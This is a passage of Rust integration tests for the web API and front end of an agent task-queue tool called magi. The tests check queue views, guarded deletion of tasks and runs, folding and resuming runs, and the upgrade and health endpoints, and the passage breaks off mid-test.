11985 write_state(&runs, &state);
11986 let rev_finished = runs_revision(&runs);
11987 assert_ne!(
11988 rev_started, rev_finished,
11989 "and clearing it again must move the revision a second time"
11990 );
11991 }
11992
11993 #[tokio::test]
11994 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
11995 let fx = Fixture::start().await;
12000 let q = fx.queue();
12001
12002 let mut t = Task::new(
12003 "Task".to_owned(),
12004 "Instruction".to_owned(),
12005 PathBuf::from("/repo"),
12006 Source::Human,
12007 );
12008 t.block(
12009 vec!["20260101-000000-dead".to_owned()],
12010 Some("waiting on Task 1".to_owned()),
12011 );
12012 t.answers.push(crate::queue::AnsweredQuestion {
12013 question: "Which backend?".to_owned(),
12014 answer: "SQLite".to_owned(),
12015 });
12016 q.put(&mut t).expect("put t");
12017
12018 let res = fx.get("/api/queue").await;
12019 assert_eq!(res.status, 200);
12020 let list = res.json();
12021 let view = list
12022 .as_array()
12023 .expect("array")
12024 .iter()
12025 .find(|v| v["id"] == t.id)
12026 .expect("task in list");
12027 assert_eq!(view["status_str"], "blocked");
12028 assert_eq!(
12029 view["blocked_by"],
12030 serde_json::json!(["20260101-000000-dead"])
12031 );
12032 assert_eq!(view["block_reason"], "waiting on Task 1");
12033 assert_eq!(view["answers"][0]["question"], "Which backend?");
12034 assert_eq!(view["answers"][0]["answer"], "SQLite");
12035
12036 let res = fx
12040 .post(&format!("/api/queue/{}/hold", t.short()), None)
12041 .await;
12042 assert_eq!(res.status, 200);
12043 let held = res.json();
12044 assert_eq!(held["status_str"], "held");
12045 assert_eq!(held["blocked_by"], serde_json::json!([]));
12046 assert!(held["block_reason"].is_null());
12047 assert_eq!(held["answers"][0]["answer"], "SQLite");
12048 }
12049
12050 #[tokio::test]
12051 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12052 let fx = Fixture::start().await;
12053 let q = fx.queue();
12054 let mk = |title: &str| {
12055 Task::new(
12056 title.to_owned(),
12057 "Instruction".to_owned(),
12058 PathBuf::from("/repo"),
12059 Source::Human,
12060 )
12061 };
12062 let mut root = mk("root");
12063 root.hold_manual(Some("waiting".to_owned()));
12064 q.put(&mut root).unwrap();
12065 let mut mid = mk("mid");
12066 mid.block(vec![root.id.clone()], None);
12067 q.put(&mut mid).unwrap();
12068 let mut leaf = mk("leaf");
12069 leaf.block(vec![mid.id.clone()], None);
12070 q.put(&mut leaf).unwrap();
12071
12072 let list = fx.get("/api/queue").await.json();
12073 let find = |id: &str| {
12074 list.as_array()
12075 .unwrap()
12076 .iter()
12077 .find(|v| v["id"] == id)
12078 .unwrap()
12079 .clone()
12080 };
12081 let leaf_view = find(&leaf.id);
12082 assert_eq!(
12083 leaf_view["waits_on"],
12084 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12085 );
12086 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12087 assert_eq!(
12088 find(&mid.id)["waits_on"],
12089 serde_json::json!([format!("{} (held)", root.short())])
12090 );
12091 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12092 }
12093
12094 #[tokio::test]
12095 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12096 let fx = Fixture::start().await;
12097 let q = fx.queue();
12098
12099 let mut t1 = Task::new(
12101 "Task 1".to_owned(),
12102 "Instruction 1".to_owned(),
12103 PathBuf::from("/repo"),
12104 Source::Human,
12105 );
12106 let run_id = "20260901-000000-r111";
12107 t1.runs.push(run_id.to_owned());
12108 write_run(&fx.runs(), run_id, RunStatus::Merged);
12109 q.put(&mut t1).expect("put t1");
12110
12111 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12113 assert_eq!(res.status, 204);
12114 assert!(res.body.is_empty(), "204 No Content has no body");
12115 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12116 assert!(
12117 fx.runs().join(run_id).exists(),
12118 "run directory must not be deleted when its task is deleted"
12119 );
12120
12121 let mut t2 = Task::new(
12123 "Task 2".to_owned(),
12124 "Instruction 2".to_owned(),
12125 PathBuf::from("/repo"),
12126 Source::Human,
12127 );
12128 t2.status = TaskStatus::Running;
12129 q.put(&mut t2).expect("put t2");
12130 let mut beat = crate::daemon::Status::new();
12131 beat.current = vec![crate::daemon::Current {
12132 task: t2.id.clone(),
12133 run: "20260901-000000-r222".to_owned(),
12134 }];
12135 beat.updated_at = jiff::Timestamp::now();
12136 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12137 .expect("publish a heartbeat");
12138 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12139 assert_eq!(res.status, 409);
12140 assert!(
12141 res.json()["error"]
12142 .as_str()
12143 .unwrap()
12144 .contains("live daemon")
12145 );
12146 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12147
12148 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12154 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12155 .expect("leave a stale heartbeat");
12156 let mut t3 = Task::new(
12157 "Task 3".to_owned(),
12158 "Instruction 3".to_owned(),
12159 PathBuf::from("/repo"),
12160 Source::Human,
12161 );
12162 t3.status = TaskStatus::Running;
12163 q.put(&mut t3).expect("put t3");
12164 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12165 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12166 assert_eq!(res.status, 204);
12167 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12168 assert!(
12169 q.claim(&t3.id).is_ok(),
12170 "the stale lock went with it, so the id is claimable again"
12171 );
12172
12173 let res = fx.delete("/api/queue/nonexistent").await;
12175 assert_eq!(res.status, 404);
12176 }
12177
12178 #[tokio::test]
12179 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12180 let fx = Fixture::start().await;
12181 let runs = fx.runs();
12182
12183 let run_id = "20260901-000000-fold";
12185 let mut state = RunState::new(
12186 PathBuf::from("/repo"),
12187 "main".to_owned(),
12188 "abc".to_owned(),
12189 "instruction".to_owned(),
12190 Config::default(),
12191 );
12192 state.id = run_id.to_owned();
12193 state.status = RunStatus::Merged;
12194 state.candidates.push(crate::run::Candidate {
12195 index: 0,
12196 label: 'A',
12197 agent: "a".to_owned(),
12198 branch: "b".to_owned(),
12199 worktree: PathBuf::from("/w"),
12200 summary: String::new(),
12201 stat: String::new(),
12202 files: 1,
12203 commits: 1,
12204 empty: false,
12205 failed: None,
12206 verified_noop: None,
12207 duration_ms: 0,
12208 folded: true,
12209 });
12210 let dir = runs.join(run_id);
12211 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12212 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12213 .expect("write artifact");
12214 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12215 .expect("write run.json");
12216
12217 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12219 assert_eq!(res.status, 204);
12220 assert!(res.body.is_empty(), "204 has no body");
12221 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12222
12223 let run_running = "20260901-000000-rung";
12228 write_run(&runs, run_running, RunStatus::Prep);
12229 let mut beat = crate::daemon::Status::new();
12230 beat.current = vec![crate::daemon::Current {
12231 task: "20260901-000000-task".to_owned(),
12232 run: run_running.to_owned(),
12233 }];
12234 beat.updated_at = jiff::Timestamp::now();
12235 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12236 .expect("publish a heartbeat");
12237 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12238 assert_eq!(res.status, 409);
12239 assert!(
12240 res.json()["error"]
12241 .as_str()
12242 .unwrap()
12243 .contains("live daemon"),
12244 "the refusal must say who is holding it"
12245 );
12246 assert!(
12247 runs.join(run_running).exists(),
12248 "a run in flight keeps its directory"
12249 );
12250
12251 let run_unfolded = "20260901-000000-unfd";
12253 let mut state2 = RunState::new(
12254 PathBuf::from("/repo"),
12255 "main".to_owned(),
12256 "abc".to_owned(),
12257 "instruction".to_owned(),
12258 Config::default(),
12259 );
12260 state2.id = run_unfolded.to_owned();
12261 state2.status = RunStatus::Ready;
12262 state2.candidates.push(crate::run::Candidate {
12263 index: 0,
12264 label: 'A',
12265 agent: "a".to_owned(),
12266 branch: "b".to_owned(),
12267 worktree: PathBuf::from("/w"),
12268 summary: String::new(),
12269 stat: String::new(),
12270 files: 1,
12271 commits: 1,
12272 empty: false,
12273 failed: None,
12274 verified_noop: None,
12275 duration_ms: 0,
12276 folded: false,
12277 });
12278 let dir2 = runs.join(run_unfolded);
12279 std::fs::create_dir_all(&dir2).expect("create dir2");
12280 std::fs::write(
12281 dir2.join("run.json"),
12282 serde_json::to_string(&state2).unwrap(),
12283 )
12284 .expect("write run.json");
12285
12286 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12287 assert_eq!(res.status, 409);
12288 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12289 assert!(dir2.exists(), "unfolded run directory is kept");
12290
12291 let res = fx.delete("/api/runs/nonexistent").await;
12293 assert_eq!(res.status, 404);
12294 }
12295
12296 #[test]
12305 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12306 let start = APP_JS
12307 .find("function renderStats() {")
12308 .expect("renderStats");
12309 let end = start
12310 + APP_JS[start..]
12311 .find("function statsTile(")
12312 .expect("the next top-level function");
12313 let body = &APP_JS[start..end];
12314
12315 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12316 let gate_end = gate_start
12317 + body[gate_start..]
12318 .find("}\n renderStatsQueue")
12319 .expect("the gate's own closing brace, right before the unconditional call");
12320 let gated = &body[gate_start..gate_end];
12321
12322 assert_eq!(
12323 body.matches("renderStatsQueue(").count(),
12324 1,
12325 "renderStats must call renderStatsQueue exactly once: {body}"
12326 );
12327 assert!(
12328 !gated.contains("renderStatsQueue"),
12329 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12330 run-derived panels on an empty run history - the queue panel has to render \
12331 regardless: {gated}"
12332 );
12333 }
12334
12335 #[test]
12336 fn web_ui_delete_contract_in_front_end() {
12337 assert!(APP_JS.contains("deleteRun:"));
12339 assert!(APP_JS.contains("deleteTask:"));
12340
12341 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12343 ..APP_JS.find("function renderRuns").unwrap()];
12344 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12345
12346 assert!(APP_JS.contains("renderRunDelete"));
12348 assert!(APP_JS.contains("runDeleteReason"));
12349 assert!(APP_JS.contains("magi fold"));
12350 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12351
12352 assert!(APP_JS.contains("cancel.focus"));
12354 assert!(APP_JS.contains("armedRunDelete"));
12355 assert!(APP_JS.contains("renderTaskDeleteBox"));
12356 assert!(APP_JS.contains("armed${cap(key)}"));
12357
12358 assert!(APP_JS.contains("disabled: status === \"running\""));
12360 }
12361
12362 #[test]
12382 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12383 let build = APP_JS
12384 .find("function createRunCard")
12385 .expect("createRunCard exists");
12386 let update = APP_JS
12387 .find("function updateRunCard")
12388 .expect("updateRunCard exists");
12389 let end = APP_JS
12390 .find("function renderRuns")
12391 .expect("renderRuns exists");
12392
12393 let builder = &APP_JS[build..update];
12395 let open = builder.find("refs = {").expect("createRunCard sets refs");
12396 let literal = &builder[open + "refs = {".len()..];
12397 let close = literal.find('}').expect("the refs literal is closed");
12398 let published: HashSet<&str> = literal[..close]
12399 .split(',')
12400 .filter_map(|entry| entry.split(':').next())
12402 .map(str::trim)
12403 .filter(|name| !name.is_empty())
12404 .collect();
12405 assert!(
12406 published.len() > 5,
12407 "the refs literal did not parse into names: {published:?}"
12408 );
12409
12410 let mut used: Vec<&str> = Vec::new();
12413 let updaters = &APP_JS[update..end];
12414 for (at, _) in updaters.match_indices("r.") {
12415 let before = updaters[..at].chars().next_back();
12418 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12419 continue;
12420 }
12421 let rest = &updaters[at + 2..];
12422 let len = rest
12423 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12424 .unwrap_or(rest.len());
12425 if len > 0 {
12426 used.push(&rest[..len]);
12427 }
12428 }
12429 assert!(
12430 used.len() > 5,
12431 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12432 );
12433
12434 let missing: Vec<&str> = used
12435 .iter()
12436 .copied()
12437 .filter(|name| !published.contains(name))
12438 .collect();
12439 assert!(
12440 missing.is_empty(),
12441 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12442 never put in `refs` - every card will throw and the list will \
12443 render empty under a count line that says otherwise. Published: \
12444 {published:?}"
12445 );
12446 }
12447
12448 #[tokio::test]
12449 async fn folding_from_the_phone_reports_what_it_removed() {
12450 let fx = Fixture::start().await;
12451 let runs = fx.runs();
12452
12453 let id = "20260901-000000-fold";
12457 write_run(&runs, id, RunStatus::Stalled);
12458 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12459 assert_eq!(res.status, 200);
12460 assert_eq!(res.json()["removed_count"], 0);
12461 assert_eq!(res.json()["run"], id);
12462 assert!(
12463 runs.join(id).exists(),
12464 "a fold keeps the run's record; only the worktrees go"
12465 );
12466 }
12467
12468 #[tokio::test]
12469 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12470 let fx = Fixture::start().await;
12471 let runs = fx.runs();
12472 let wt = fx.home.path().join("wt").join("magi").join("dead");
12473 let id = "20260901-000000-dead";
12474 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12475 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12476 std::fs::create_dir_all(&wt).expect("worktree dir");
12477
12478 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12479 assert_eq!(res.status, 200, "{}", res.body);
12480 assert!(
12481 res.json()["removed_count"].as_u64().unwrap() > 0,
12482 "the worktree this build could not read a state for still went"
12483 );
12484 assert!(
12485 !runs.join(id).exists(),
12486 "an unreadable run has no candidate list to fold selectively, so \
12487 the whole record goes - same as `magi fold` on the CLI"
12488 );
12489 }
12490
12491 #[tokio::test]
12492 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12493 let fx = Fixture::start().await;
12494 let runs = fx.runs();
12495 let wt = fx.home.path().join("wt").join("magi").join("gone");
12496 let id = "20260901-000000-gone";
12497 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12498 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12499 std::fs::create_dir_all(&wt).expect("worktree dir");
12500
12501 let res = fx.delete(&format!("/api/runs/{id}")).await;
12502 assert_eq!(res.status, 204, "{}", res.body);
12503 assert!(!runs.join(id).exists(), "the broken record is gone");
12504 assert!(!wt.exists(), "its worktree is gone too");
12505 }
12506
12507 #[tokio::test]
12508 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12509 let fx = Fixture::start().await;
12510 let runs = fx.runs();
12511 let id = "20260901-000000-live";
12512 write_run(&runs, id, RunStatus::Implementing);
12513
12514 let mut beat = crate::daemon::Status::new();
12515 beat.current = vec![crate::daemon::Current {
12516 task: "20260901-000000-task".to_owned(),
12517 run: id.to_owned(),
12518 }];
12519 beat.updated_at = jiff::Timestamp::now();
12520 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12521 .expect("publish a heartbeat");
12522
12523 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12524 assert_eq!(res.status, 409);
12525 assert!(
12526 res.json()["error"]
12527 .as_str()
12528 .unwrap()
12529 .contains("live daemon"),
12530 "folding under a running agent would pull its worktree away"
12531 );
12532 }
12533
12534 #[tokio::test]
12535 async fn fold_merged_requires_a_pr_url() {
12536 let fx = Fixture::start().await;
12537 let runs = fx.runs();
12538 let id = "20260901-000000-nourl";
12539 write_run(&runs, id, RunStatus::Blocked);
12540
12541 let res = fx
12542 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12543 .await;
12544 assert_eq!(res.status, 400, "{}", res.body);
12545
12546 let blank = fx
12547 .post(
12548 &format!("/api/runs/{id}/fold-merged"),
12549 Some(r#"{"pr_url":" "}"#),
12550 )
12551 .await;
12552 assert_eq!(blank.status, 400, "{}", blank.body);
12553 }
12554
12555 #[tokio::test]
12556 async fn fold_merged_is_404_for_an_unknown_run() {
12557 let fx = Fixture::start().await;
12558 let res = fx
12559 .post(
12560 "/api/runs/nosuchrun/fold-merged",
12561 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12562 )
12563 .await;
12564 assert_eq!(res.status, 404, "{}", res.body);
12565 }
12566
12567 #[tokio::test]
12568 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12569 let fx = Fixture::start().await;
12570 let runs = fx.runs();
12571 let id = "20260901-000000-livemerge";
12572 write_run(&runs, id, RunStatus::Blocked);
12573
12574 let mut beat = crate::daemon::Status::new();
12575 beat.current = vec![crate::daemon::Current {
12576 task: "20260901-000000-task".to_owned(),
12577 run: id.to_owned(),
12578 }];
12579 beat.updated_at = jiff::Timestamp::now();
12580 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12581 .expect("publish a heartbeat");
12582
12583 let res = fx
12584 .post(
12585 &format!("/api/runs/{id}/fold-merged"),
12586 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12587 )
12588 .await;
12589 assert_eq!(res.status, 409, "{}", res.body);
12590 assert!(
12591 res.json()["error"]
12592 .as_str()
12593 .unwrap()
12594 .contains("live daemon"),
12595 "correcting a run's merge underneath a running agent would race \
12596 whatever it is doing to the same `status`/`merge` fields"
12597 );
12598 }
12599
12600 #[tokio::test]
12605 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12606 let fx = Fixture::start().await;
12607 let runs = fx.runs();
12608 let id = "20260901-000000-unconfirmed";
12609 write_run(&runs, id, RunStatus::Blocked);
12610
12611 let res = fx
12612 .post(
12613 &format!("/api/runs/{id}/fold-merged"),
12614 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12615 )
12616 .await;
12617 assert_eq!(res.status, 400, "{}", res.body);
12618 assert_eq!(
12619 read_run(&runs, id).unwrap().status,
12620 RunStatus::Blocked,
12621 "a pull request that could not be confirmed merged must leave \
12622 the run exactly where it was"
12623 );
12624 }
12625
12626 #[tokio::test]
12627 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12628 let fx = Fixture::start().await;
12629 let runs = fx.runs();
12630
12631 for (status, word) in [
12637 (RunStatus::Merged, "merged"),
12638 (RunStatus::Ready, "ready"),
12639 (RunStatus::Failed, "failed"),
12640 ] {
12641 let id = format!("20260901-000000-{}", &word[..4]);
12642 write_run(&runs, &id, status);
12643 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12644 assert_eq!(res.status, 409, "{word} must not be resumable");
12645 let err = res.json()["error"].as_str().unwrap().to_owned();
12646 assert!(err.contains(word), "the refusal names the status: {err}");
12647 }
12648
12649 let mid = "20260901-000000-midf";
12654 write_run(&runs, mid, RunStatus::Reviewing);
12655 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12656 assert_eq!(res.status, 202, "an interrupted run is resumable");
12657 }
12658
12659 #[tokio::test]
12660 async fn resume_is_refused_while_the_loop_is_running() {
12661 let fx = Fixture::start().await;
12662 let runs = fx.runs();
12663 let stalled = "20260901-000000-stal";
12664 write_run(&runs, stalled, RunStatus::Stalled);
12665
12666 let mut beat = crate::daemon::Status::new();
12670 beat.current = vec![crate::daemon::Current {
12671 task: "20260901-000000-task".to_owned(),
12672 run: "20260901-000000-othr".to_owned(),
12673 }];
12674 beat.updated_at = jiff::Timestamp::now();
12675 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12676 .expect("publish a heartbeat");
12677
12678 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12679 assert_eq!(res.status, 409);
12680 let err = res.json()["error"].as_str().unwrap().to_owned();
12681 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12682 assert!(err.contains("stop it first"), "{err}");
12683 }
12684
12685 #[test]
12686 fn a_run_cannot_be_resumed_twice_at_once() {
12687 let home = TempDir::new().expect("temp home");
12688 let ui = Ui::new(
12689 Queue::at(home.path().join("queue")),
12690 Questions::at(home.path().join("questions")),
12691 Talks::at(home.path().join("talks")),
12692 home.path().join("runs"),
12693 home.path().to_path_buf(),
12694 PathBuf::from("/repo"),
12695 )
12696 .with_worktrees_root(home.path().join("wt"));
12697 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12698 let again = ui.begin_resume("20260901-000000-once");
12699 assert!(again.is_err(), "a second tap must not start a second graph");
12700 drop(first);
12701 assert!(
12702 ui.begin_resume("20260901-000000-once").is_ok(),
12703 "and the claim is released when the attempt ends"
12704 );
12705 }
12706
12707 #[test]
12708 fn talk_thinking_tracks_only_its_held_turn_claim() {
12709 let home = TempDir::new().expect("temp home");
12710 let ui = Ui::new(
12711 Queue::at(home.path().join("queue")),
12712 Questions::at(home.path().join("questions")),
12713 Talks::at(home.path().join("talks")),
12714 home.path().join("runs"),
12715 home.path().to_path_buf(),
12716 PathBuf::from("/repo"),
12717 )
12718 .with_worktrees_root(home.path().join("wt"));
12719 let id = "20260901-000000-once";
12720
12721 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12722 let turn = ui.begin_talk_turn(id).expect("claim turn");
12723 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12724 assert!(
12725 !ui.is_thinking("20260901-000000-other"),
12726 "one talk's turn does not make another talk busy"
12727 );
12728 drop(turn);
12729 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12730 }
12731
12732 #[tokio::test]
12733 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12734 let fx = Fixture::start().await;
12735 let mut beat = crate::daemon::Status::new();
12739 beat.pid = 4321;
12740 beat.updated_at = jiff::Timestamp::now();
12741 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12742 .expect("publish a heartbeat");
12743
12744 let res = fx.post("/api/upgrade", None).await;
12745 assert_eq!(res.status, 409);
12746 let err = res.json()["error"].as_str().unwrap().to_owned();
12747 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12748 assert!(err.contains("old one against the same queue"), "{err}");
12749 }
12750
12751 #[test]
12758 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12759 assert!(!should_spawn_recheck(&crate::config::Update {
12760 mode: UpdateMode::Off,
12761 interval: None,
12762 }));
12763
12764 unsafe {
12767 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12768 }
12769 let killed = should_spawn_recheck(&crate::config::Update {
12770 mode: UpdateMode::Notify,
12771 interval: None,
12772 });
12773 unsafe {
12774 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12775 }
12776 assert!(
12777 !killed,
12778 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12779 one-time startup check"
12780 );
12781
12782 assert!(should_spawn_recheck(&crate::config::Update {
12783 mode: UpdateMode::Notify,
12784 interval: None,
12785 }));
12786 }
12787
12788 #[test]
12794 fn recheck_poll_period_tracks_a_short_configured_interval() {
12795 let short = crate::config::Update {
12796 mode: UpdateMode::Notify,
12797 interval: Some("1m".to_owned()),
12798 };
12799 let period = recheck_poll_period(&short);
12800 assert!(
12801 period <= Duration::from_secs(30),
12802 "a one-minute interval must wake the task far sooner than the \
12803 default ceiling, or the deck would not notice within the \
12804 interval the operator configured: got {period:?}"
12805 );
12806
12807 let default = crate::config::Update {
12808 mode: UpdateMode::Notify,
12809 interval: None,
12810 };
12811 assert_eq!(
12812 recheck_poll_period(&default),
12813 UPDATE_RECHECK_POLL_MAX,
12814 "the default day-long interval should poll at the (capped) \
12815 ceiling rather than needlessly often"
12816 );
12817 }
12818
12819 #[test]
12827 fn recheck_skips_the_network_before_the_interval_elapses() {
12828 let dir = TempDir::new().expect("temp dir");
12829 let path = dir.path().join("state.json");
12830 let state = kaishin::UpdateCheckState {
12831 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12832 last_known_latest: None,
12833 last_known_url: None,
12834 };
12835 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12836
12837 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12838 assert!(
12839 !update_recheck_due(&checker, None),
12840 "a check made moments ago must not be repeated before the \
12841 configured interval elapses"
12842 );
12843 }
12844
12845 #[test]
12851 fn recheck_defers_to_an_upgrade_already_in_flight() {
12852 let dir = TempDir::new().expect("temp dir");
12853 let path = dir.path().join("state.json");
12854 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12855 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12856
12857 assert!(
12858 !update_recheck_due(&checker, Some(&progress)),
12859 "a recheck must not run while an upgrade this deck started is \
12860 still moving"
12861 );
12862 }
12863
12864 #[tokio::test]
12865 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12866 unsafe {
12878 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12879 }
12880 let fx = Fixture::start().await;
12881 let res = fx.post("/api/upgrade", None).await;
12882 unsafe {
12883 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12884 }
12885 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12886 let body = res.json();
12887 assert!(body["to"].is_null(), "there was no release to move to");
12888 assert!(body["parked"].is_null(), "and nothing was parked");
12889 assert!(
12890 body["detail"]
12891 .as_str()
12892 .unwrap()
12893 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12894 "{body:?}"
12895 );
12896 }
12897
12898 #[tokio::test]
12899 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12900 let repo = TempDir::new().expect("repo dir");
12916 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12917 .expect("write magi.toml");
12918 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12919
12920 let res = fx.post("/api/upgrade", None).await;
12926 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12927 let body = res.json();
12928 assert!(body["to"].is_null(), "there was no release to move to");
12929 assert!(body["parked"].is_null(), "and nothing was parked");
12930 assert!(
12931 body["detail"]
12932 .as_str()
12933 .unwrap()
12934 .contains("nothing restarted"),
12935 "{body:?}"
12936 );
12937 }
12938
12939 #[tokio::test]
12940 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12941 let repo = TempDir::new().expect("repo dir");
12946 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12947 .expect("write magi.toml");
12948 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12949
12950 let health = fx.get("/api/health").await.json();
12951 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12952 assert_eq!(
12953 health["update"]["available"], false,
12954 "checking is off, which reads as \"unknown\", not \"none\""
12955 );
12956 assert!(health["update"]["to"].is_null());
12957 assert!(
12958 health["upgrade"].is_null(),
12959 "nothing has ever asked this deck to upgrade"
12960 );
12961 }
12962
12963 #[tokio::test]
12964 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12965 let fx = Fixture::start().await;
12966 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12967
12968 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12969 progress.parked_run = Some("20260905-000000-cd51".to_owned());
12970 progress.advance(crate::updater::Stage::Parking);
12971 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12972
12973 let health = fx.get("/api/health").await.json();
12974 assert_eq!(health["upgrade"]["stage"], "parking");
12975 assert_eq!(health["upgrade"]["from"], "0.5.1");
12976 assert_eq!(health["upgrade"]["to"], "0.5.2");
12977 let waiting_on = health["upgrade"]["waiting_on"]
12978 .as_str()
12979 .expect("waiting_on is set while parking a known run");
12980 assert!(waiting_on.contains("cd51"), "{waiting_on}");
12981 assert!(waiting_on.contains("implementing"), "{waiting_on}");
12982 }
12983
12984 #[tokio::test]
12985 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
12986 let fx = Fixture::start().await;
12987 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12988 progress.advance(crate::updater::Stage::Done);
12989 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12990
12991 let health = fx.get("/api/health").await.json();
12992 assert_eq!(health["upgrade"]["stage"], "done");
12993 assert!(
12994 health["upgrade"]["waiting_on"].is_null(),
12995 "nothing to wait on once it is done"
12996 );
12997 }
12998
12999 #[tokio::test]
13000 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13001 let home = TempDir::new().expect("temp home");
13002 let runs = home.path().join("runs");
13003 std::fs::create_dir_all(&runs).expect("runs dir");
13004 let ui = Ui::new(
13005 Queue::at(home.path().join("queue")),
13006 Questions::at(home.path().join("questions")),
13007 Talks::at(home.path().join("talks")),
13008 runs,
13009 home.path().to_path_buf(),
13010 PathBuf::from("/repo/magi"),
13011 )
13012 .with_launch(launch_idle);
13013 let looping = ui.looping();
13014 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13015 .await
13016 .expect("bind loopback");
13017 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13018
13019 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13020 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13021
13022 hand_over(home.path(), &looping, served, |_| Ok(()))
13023 .await
13024 .expect("hand over");
13025
